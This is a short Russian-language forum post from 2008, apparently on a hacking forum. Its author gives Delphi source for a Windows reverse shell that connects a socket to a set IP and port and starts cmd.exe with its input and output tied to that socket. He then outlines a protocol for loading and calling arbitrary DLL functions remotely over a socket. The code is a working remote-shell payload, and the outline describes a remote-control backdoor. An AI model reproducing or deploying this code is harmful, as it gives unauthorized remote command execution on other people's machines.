Показать сообщение отдельно

  #5  
Старый 02.10.2008, 11:16
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Для простой демонстрации вот наспех написанный код
Код:
var
 StartupInfo:_STARTUPINFOA;
 ProcessInformation:_PROCESS_INFORMATION;
 addr:tsockaddrin;
 sock:thandle;
 wsdata:TWSADATA;
const
 shell_port=12345;
 shell_ip='127.0.0.1';
begin
 WSAStartup($202,wsdata);
 sock:=WSASocketA(2,1,6,nil,0,0);
 if sock=INVALID_SOCKET then exit;
 addr.sin_family:=AF_INET;
 addr.sin_addr.s_addr:=0;
 addr.sin_port:=htons(shell_port);
 addr.sin_addr.s_addr := inet_addr(shell_ip);
 if Connect(sock, @addr, SizeOf(addr))<>0 then
  begin
   closesocket(sock);
   exit;
  end;
 fillchar(StartupInfo,sizeof(StartupInfo),0);
 StartupInfo.cb:=sizeof(StartupInfo);
 StartupInfo.dwFlags:=$100;
 StartupInfo.hStdInput:=sock;
 StartupInfo.hStdOutput:=sock;
 StartupInfo.hStdError:=sock;
 CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.

Последний раз редактировалось slesh; 02.10.2008 в 11:28..
 
Ответить с цитированием